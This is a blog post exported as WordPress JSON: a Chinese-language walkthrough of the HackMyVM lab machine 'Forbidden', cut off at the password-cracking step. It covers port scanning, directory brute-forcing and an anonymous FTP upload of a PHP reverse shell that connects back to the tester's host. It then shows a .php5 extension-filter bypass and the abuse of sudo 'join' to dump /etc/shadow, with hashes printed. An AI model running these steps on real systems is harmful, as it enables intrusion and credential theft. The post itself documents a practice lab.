{"id":746,"date":"2024-07-09T17:15:15","date_gmt":"2024-07-09T09:15:15","guid":{"rendered":"http:\/\/162.14.82.114\/?p=746"},"modified":"2024-07-09T17:17:08","modified_gmt":"2024-07-09T09:17:08","slug":"hmv-_-forbidden","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/746\/07\/09\/2024\/","title":{"rendered":"hmv[-_-]Forbidden"},"content":{"rendered":"<h1>Forbidden<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714764.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714764.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240706125154604\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714766.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714766.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240709153437375\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ rustscan -a $IP -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nNmap? More like slowmap.\ud83d\udc22\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.0.162:80\nOpen 192.168.0.162:21\n\nPORT   STATE SERVICE REASON  VERSION\n21\/tcp open  ftp     syn-ack vsftpd 3.0.3\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to ::ffff:192.168.0.143\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 1\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_drwxrwxrwx    2 0        0            4096 Oct 09  2020 www [NSE: writeable]\n80\/tcp open  http    syn-ack nginx 1.14.2\n|_http-title: Site doesn&#039;t have a title (text\/html).\n|_http-server-header: nginx\/1.14.2\n| http-methods: \n|_  Supported Methods: GET HEAD\nService Info: OS: Unix<\/code><\/pre>\n<h3>\u76ee\u5f55\u7206\u7834<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,bak,jpg,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.162\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,bak,jpg,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 241]\n\/robots.txt           (Status: 200) [Size: 10]\n\/note.txt             (Status: 200) [Size: 75]\nProgress: 381267 \/ 1323366 (28.81%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 381476 \/ 1323366 (28.83%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<pre><code class=\"language-bash\">http:\/\/192.168.0.162\/\n\nSECURE WEB\/FTP\nHi, Im the best admin of the world. You cannot execute .php code on this server so you cannot obtain a reverse shell. Not sure if its misconfigured another things... but the importart is that php is disabled. -marta<\/code><\/pre>\n<p>\u5f97\u5230\u4e00\u4e2a\u7528\u6237\u540d<code>marta<\/code>\uff0c\u4ed6\u8bf4php\u662f\u96be\u4ee5\u6267\u884c\u7684<\/p>\n<h3>\u654f\u611f\u76ee\u5f55<\/h3>\n<pre><code class=\"language-bash\">http:\/\/192.168.0.162\/robots.txt\n\/note.txt<\/code><\/pre>\n<pre><code class=\"language-bash\">http:\/\/192.168.0.162\/note.txt\nThe extra-secured .jpg file contains my password but nobody can obtain it.<\/code><\/pre>\n<h3>\u654f\u611f\u7aef\u53e3<\/h3>\n<p>\u5f00\u542f\u4e86 21 \u7aef\u53e3 ftp \u670d\u52a1\uff0c\u5c1d\u8bd5\u67e5\u770b\u6709\u65e0\u9690\u85cf\u4fe1\u606f\uff0c\u4ee5\u53ca\u5c1d\u8bd5\u4e0a\u4f20\u53cd\u5f39 shell\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ vim revshell.phtml   \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ head revshell.phtml                                          \n\n  &lt;?php\n  \/\/ php-reverse-shell - A Reverse Shell implementation in PHP\n  \/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\n  set_time_limit (0);\n  $VERSION = &quot;1.0&quot;;\n  $ip = &#039;192.168.0.143&#039;;  \/\/ You have changed this\n  $port = 1234;  \/\/ And this\n  $chunk_size = 1400;\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ file revshell.phtml                                                                                                              \nrevshell.phtml: ASCII text<\/code><\/pre>\n<p>\u7136\u540e\u5c1d\u8bd5\u4e0a\u4f20\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ ftp $IP                                                                                                                          \nConnected to 192.168.0.162.\n220 (vsFTPd 3.0.3)\nName (192.168.0.162:kali): Anonymous\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp&gt; ls -la\n229 Entering Extended Passive Mode (|||5129|)\n150 Here comes the directory listing.\ndrwxr-xr-x    3 0        113          4096 Oct 09  2020 .\ndrwxr-xr-x    3 0        113          4096 Oct 09  2020 ..\ndrwxrwxrwx    2 0        0            4096 Oct 09  2020 www\n226 Directory send OK.\nftp&gt; cd www\n250 Directory successfully changed.\nftp&gt; ls -la\n229 Entering Extended Passive Mode (|||16109|)\n150 Here comes the directory listing.\ndrwxrwxrwx    2 0        0            4096 Oct 09  2020 .\ndrwxr-xr-x    3 0        113          4096 Oct 09  2020 ..\n-rwxrwxrwx    1 0        0             241 Oct 09  2020 index.html\n-rwxrwxrwx    1 0        0              75 Oct 09  2020 note.txt\n-rwxrwxrwx    1 0        0              10 Oct 09  2020 robots.txt\n226 Directory send OK.\nftp&gt; put revshell.phtml \nlocal: revshell.phtml remote: revshell.phtml\n229 Entering Extended Passive Mode (|||38821|)\n150 Ok to send data.\n100% |******************************************************************************************************|  3911        5.45 MiB\/s    00:00 ETA\n226 Transfer complete.\n3911 bytes sent in 00:00 (458.99 KiB\/s)\nftp&gt; exit\n221 Goodbye.<\/code><\/pre>\n<p>\u8bbf\u95ee\u5c1d\u8bd5\u8fde\u63a5\uff0c\u53d1\u73b0\u8fde\u4e0d\u4e0a\uff0c\u8bd5\u8bd5\u662f\u4e0d\u662f\u5c01\u9501\u7684\u5f88\u5b8c\u6574\uff1a<\/p>\n<pre><code class=\"language-text\">Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml<\/code><\/pre>\n<p>\u5f53\u6211\u8bbf\u95ee\uff1a<a href=\"http:\/\/192.168.0.162\/1.php5\">http:\/\/192.168.0.162\/1.php5<\/a> \u65f6\u6210\u529f\u4e86\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714767.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714767.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240709160438554\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) www-data@forbidden:\/$ cd ~\n(remote) www-data@forbidden:\/var\/www$ cd html\n(remote) www-data@forbidden:\/var\/www\/html$ ls -la\ntotal 48\ndrwxr-xr-x 2 root     root      4096 Oct  9  2020 .\ndrwxr-xr-x 3 root     root      4096 Oct  9  2020 ..\n-rwxrwxrwx 1 www-data www-data 33469 Oct  9  2020 TOPSECRETIMAGE.jpg\n-rw-r--r-- 1 root     root       612 Oct  9  2020 index.nginx-debian.html\n(remote) www-data@forbidden:\/var\/www\/html$ cat index.nginx-debian.html \n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;Welcome to nginx!&lt;\/title&gt;\n&lt;style&gt;\n    body {\n        width: 35em;\n        margin: 0 auto;\n        font-family: Tahoma, Verdana, Arial, sans-serif;\n    }\n&lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;h1&gt;Welcome to nginx!&lt;\/h1&gt;\n&lt;p&gt;If you see this page, the nginx web server is successfully installed and\nworking. Further configuration is required.&lt;\/p&gt;\n\n&lt;p&gt;For online documentation and support please refer to\n&lt;a href=&quot;http:\/\/nginx.org\/&quot;&gt;nginx.org&lt;\/a&gt;.&lt;br\/&gt;\nCommercial support is available at\n&lt;a href=&quot;http:\/\/nginx.com\/&quot;&gt;nginx.com&lt;\/a&gt;.&lt;\/p&gt;\n\n&lt;p&gt;&lt;em&gt;Thank you for using nginx.&lt;\/em&gt;&lt;\/p&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n\n(remote) www-data@forbidden:\/$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\nmarta:x:1000:1000:marta,,,:\/home\/marta:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nftp:x:105:113:ftp daemon,,,:\/srv\/ftp:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nmarkos:x:1001:1001:,,,:\/home\/markos:\/bin\/bash\npeter:x:1002:1002:,,,:\/home\/peter:\/bin\/bash\n(remote) www-data@forbidden:\/$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/home\/marta\/.forbidden\n\/usr\/bin\/mount\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/sudo\n\/usr\/bin\/su\n\/usr\/bin\/newgrp\n\/usr\/bin\/gpasswd\n\/usr\/bin\/umount\n\/usr\/bin\/passwd\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/openssh\/ssh-keysign\n(remote) www-data@forbidden:\/$ ls -la \/home\/marta\/.forbidden\n-rwsr-sr-x 1 root marta 16712 Oct  9  2020 \/home\/marta\/.forbidden\n(remote) www-data@forbidden:\/$ file \/home\/marta\/.forbidden\n\/home\/marta\/.forbidden: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=2bfa60b6faf88c21128b04f602804f0b042d8e84, not stripped<\/code><\/pre>\n<h3>\u7167\u7247\u85cf\u5bc6\u7801<\/h3>\n<p>\u627e\u5230\u4e86\u524d\u9762\u4e00\u5f00\u59cb\u8bf4\u7684\u56fe\u7247\u4ee5\u53ca\u4e00\u4e2a\u5947\u602a\u7684\u7a0b\u5e8f\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\u770b\u770b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714768.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714768.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240709164530333\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u672c\u5730\u770b\u4e00\u4e0b\u6709\u65e0\u9690\u85cf\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">hgbe02@pwn:\/mnt\/c\/Users\/Administrator\/Desktop$ exiftool TOPSECRETIMAGE.jpg\nExifTool Version Number         : 12.40\nFile Name                       : TOPSECRETIMAGE.jpg\nDirectory                       : .\nFile Size                       : 33 KiB\nFile Modification Date\/Time     : 2020:10:10 01:04:22+08:00\nFile Access Date\/Time           : 2024:07:09 16:45:21+08:00\nFile Inode Change Date\/Time     : 2024:07:09 16:45:08+08:00\nFile Permissions                : -rwxrwxrwx\nFile Type                       : JPEG\nFile Type Extension             : jpg\nMIME Type                       : image\/jpeg\nJFIF Version                    : 1.01\nResolution Unit                 : None\nX Resolution                    : 1\nY Resolution                    : 1\nImage Width                     : 324\nImage Height                    : 216\nEncoding Process                : Baseline DCT, Huffman coding\nBits Per Sample                 : 8\nColor Components                : 3\nY Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)\nImage Size                      : 324x216\nMegapixels                      : 0.070\n\nhgbe02@pwn:\/mnt\/c\/Users\/Administrator\/Desktop$ binwalk TOPSECRETIMAGE.jpg\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             JPEG image data, JFIF standard 1.01<\/code><\/pre>\n<p>\u4ed6\u8bf4\u5bc6\u7801\u5728\u91cc\u9762\u7684\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u540d\u5b57\uff0c\u5e26\u4e0d\u5e26<code>.jpg<\/code>\u7684\u90fd\u8bd5\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714769.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407091714769.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240709165028676\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>join\u8bfb\u53d6\u6587\u4ef6<\/h3>\n<pre><code class=\"language-bash\">marta@forbidden:\/var\/www\/html$ cd ~\nmarta@forbidden:~$ ls -la\ntotal 52\ndrwxr-xr-x 3 marta marta  4096 Oct  9  2020 .\ndrwxr-xr-x 5 root  root   4096 Oct  9  2020 ..\n-rw-r--r-- 1 marta marta   220 Oct  9  2020 .bash_logout\n-rw-r--r-- 1 marta marta  3526 Oct  9  2020 .bashrc\n-rwsr-sr-x 1 root  marta 16712 Oct  9  2020 .forbidden\n-rw-r--r-- 1 root  root    130 Oct  9  2020 hidden.c\ndrwxr-xr-x 3 marta marta  4096 Oct  9  2020 .local\n-rw-r--r-- 1 marta marta   807 Oct  9  2020 .profile\n-rw------- 1 marta marta    55 Oct  9  2020 .Xauthority\nmarta@forbidden:~$ sudo -l\nMatching Defaults entries for marta on forbidden:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser marta may run the following commands on forbidden:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/join<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5408\u5e76<code>\/etc\/shadow<\/code>\u67e5\u770b\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">marta@forbidden:~$ \/usr\/bin\/join --help\nUsage: \/usr\/bin\/join [OPTION]... FILE1 FILE2\nFor each pair of input lines with identical join fields, write a line to\nstandard output.  The default join field is the first, delimited by blanks.\n\nWhen FILE1 or FILE2 (not both) is -, read standard input.\n\n  -a FILENUM        also print unpairable lines from file FILENUM, where\n                      FILENUM is 1 or 2, corresponding to FILE1 or FILE2\n  -e EMPTY          replace missing input fields with EMPTY\n  -i, --ignore-case  ignore differences in case when comparing fields\n  -j FIELD          equivalent to &#039;-1 FIELD -2 FIELD&#039;\n  -o FORMAT         obey FORMAT while constructing output line\n  -t CHAR           use CHAR as input and output field separator\n  -v FILENUM        like -a FILENUM, but suppress joined output lines\n  -1 FIELD          join on this FIELD of file 1\n  -2 FIELD          join on this FIELD of file 2\n  --check-order     check that the input is correctly sorted, even\n                      if all input lines are pairable\n  --nocheck-order   do not check that the input is correctly sorted\n  --header          treat the first line in each file as field headers,\n                      print them without trying to pair them\n  -z, --zero-terminated     line delimiter is NUL, not newline\n      --help     display this help and exit\n      --version  output version information and exit\n\nUnless -t CHAR is given, leading blanks separate fields and are ignored,\nelse fields are separated by CHAR.  Any FIELD is a field number counted\nfrom 1.  FORMAT is one or more comma or blank separated specifications,\neach being &#039;FILENUM.FIELD&#039; or &#039;0&#039;.  Default FORMAT outputs the join field,\nthe remaining fields from FILE1, the remaining fields from FILE2, all\nseparated by CHAR.  If FORMAT is the keyword &#039;auto&#039;, then the first\nline of each file determines the number of fields output for each line.\n\nImportant: FILE1 and FILE2 must be sorted on the join fields.\nE.g., use &quot;sort -k 1b,1&quot; if &#039;join&#039; has no options,\nor use &quot;join -t &#039;&#039;&quot; if &#039;sort&#039; has no options.\nNote, comparisons honor the rules specified by &#039;LC_COLLATE&#039;.\nIf the input is not sorted and some lines cannot be joined, a\nwarning message will be given.\n\nGNU coreutils online help: &lt;https:\/\/www.gnu.org\/software\/coreutils\/&gt;\nFull documentation at: &lt;https:\/\/www.gnu.org\/software\/coreutils\/join&gt;\nor available locally via: info &#039;(coreutils) join invocation&#039;<\/code><\/pre>\n<p>\u5bf9\u5b83\u81ea\u5df1\u672c\u8eab\u8fdb\u884c\u5408\u5e76\uff0c\u5e76\u8f93\u51fa\u6240\u6709\u4e0d\u5339\u914d\u884c\uff1a<\/p>\n<pre><code class=\"language-bash\">marta@forbidden:~$ sudo join \/etc\/shadow \/etc\/shadow\nroot:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:::\ndaemon:*:18544:0:99999:7:::\nbin:*:18544:0:99999:7:::\nsys:*:18544:0:99999:7:::\nsync:*:18544:0:99999:7:::\ngames:*:18544:0:99999:7:::\nman:*:18544:0:99999:7:::\nlp:*:18544:0:99999:7:::\nmail:*:18544:0:99999:7:::\nnews:*:18544:0:99999:7:::\nuucp:*:18544:0:99999:7:::\nproxy:*:18544:0:99999:7:::\nwww-data:*:18544:0:99999:7:::\nbackup:*:18544:0:99999:7:::\nlist:*:18544:0:99999:7:::\nirc:*:18544:0:99999:7:::\ngnats:*:18544:0:99999:7:::\nnobody:*:18544:0:99999:7:::\n_apt:*:18544:0:99999:7:::\nsystemd-timesync:*:18544:0:99999:7:::\nsystemd-network:*:18544:0:99999:7:::\nsystemd-resolve:*:18544:0:99999:7:::\nmessagebus:*:18544:0:99999:7:::\nmarta:$6$h.4ZF5esZ\/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y\/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe\/:18544:0:99999:7:::\nsystemd-coredump:!!:18544::::::\nftp:*:18544:0:99999:7:::\nsshd:*:18544:0:99999:7:::\nmarkos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w\/x.Xvhdr7Ny\/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq\/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:::\npeter:$6$QAeWH9Et9PAJdYz\/$\/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy\/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::<\/code><\/pre>\n<p>\u6216\u8005\u53c2\u8003 <a href=\"https:\/\/gtfobins.github.io\/gtfobins\/join\/#sudo\">https:\/\/gtfobins.github.io\/gtfobins\/join\/#sudo<\/a><\/p>\n<pre><code class=\"language-bash\">marta@forbidden:~$ sudo join -a 2 \/dev\/null \/etc\/shadow\nroot:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:::\ndaemon:*:18544:0:99999:7:::\nbin:*:18544:0:99999:7:::\nsys:*:18544:0:99999:7:::\nsync:*:18544:0:99999:7:::\ngames:*:18544:0:99999:7:::\nman:*:18544:0:99999:7:::\nlp:*:18544:0:99999:7:::\nmail:*:18544:0:99999:7:::\nnews:*:18544:0:99999:7:::\nuucp:*:18544:0:99999:7:::\nproxy:*:18544:0:99999:7:::\nwww-data:*:18544:0:99999:7:::\nbackup:*:18544:0:99999:7:::\nlist:*:18544:0:99999:7:::\nirc:*:18544:0:99999:7:::\ngnats:*:18544:0:99999:7:::\nnobody:*:18544:0:99999:7:::\n_apt:*:18544:0:99999:7:::\nsystemd-timesync:*:18544:0:99999:7:::\nsystemd-network:*:18544:0:99999:7:::\nsystemd-resolve:*:18544:0:99999:7:::\nmessagebus:*:18544:0:99999:7:::\nmarta:$6$h.4ZF5esZ\/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y\/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe\/:18544:0:99999:7:::\nsystemd-coredump:!!:18544::::::\nftp:*:18544:0:99999:7:::\nsshd:*:18544:0:99999:7:::\nmarkos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w\/x.Xvhdr7Ny\/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq\/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:::\npeter:$6$QAeWH9Et9PAJdYz\/$\/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy\/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::<\/code><\/pre>\n<p>\u8fd9\u91cc\u5b9e\u9645\u4e0a\u76f4\u63a5\u8bfb\u53d6rootflag\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u4f46\u662f\u6211\u4eec\u60f3\u62ff\u5230shell\uff0c\u6240\u4ee5\u63a5\u7740\u505a\uff01\u62ff\u5230\u672c\u5730\u5c1d\u8bd5\u7834\u8bd1\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ cat hash                                                           